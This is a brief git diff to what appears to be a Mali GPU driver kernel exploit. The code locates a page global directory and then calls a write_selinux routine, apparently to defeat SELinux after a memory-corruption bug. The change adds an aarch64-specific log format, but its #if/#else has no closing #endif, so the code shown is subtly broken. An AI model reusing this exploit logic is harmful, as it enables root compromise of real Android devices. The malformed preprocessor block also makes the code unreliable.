diff --git a/mali_shrinker_mmap32.c b/mali_shrinker_mmap32.c index 63e0ea9..35c80c6 100644 --- a/mali_shrinker_mmap32.c +++ b/mali_shrinker_mmap32.c @@ -773,7 +773,10 @@ int trigger(int mali_fd, int mali_fd2, int* flush_idx) { int pgd_idx = find_pgd(freed_idx, 0); if (pgd_idx == -1) err(1, "Failed to find pgd"); uint64_t pgd = alias_region + pgd_idx * 0x1000 + freed_idx * (SPRAY_PAGES * 0x1000); - LOG("Found pgd %d, %llx\n", pgd_idx, pgd); + #if defined(__aarch64__) + LOG("Found pgd %d, %lx\n", pgd_idx, pgd); + #else + LOG("Found pgd %d, %llx\n", pgd_idx, pgd); atom_number++; write_selinux(mali_fd, mali_fd2, pgd, &(reserved[0])); usleep(100000);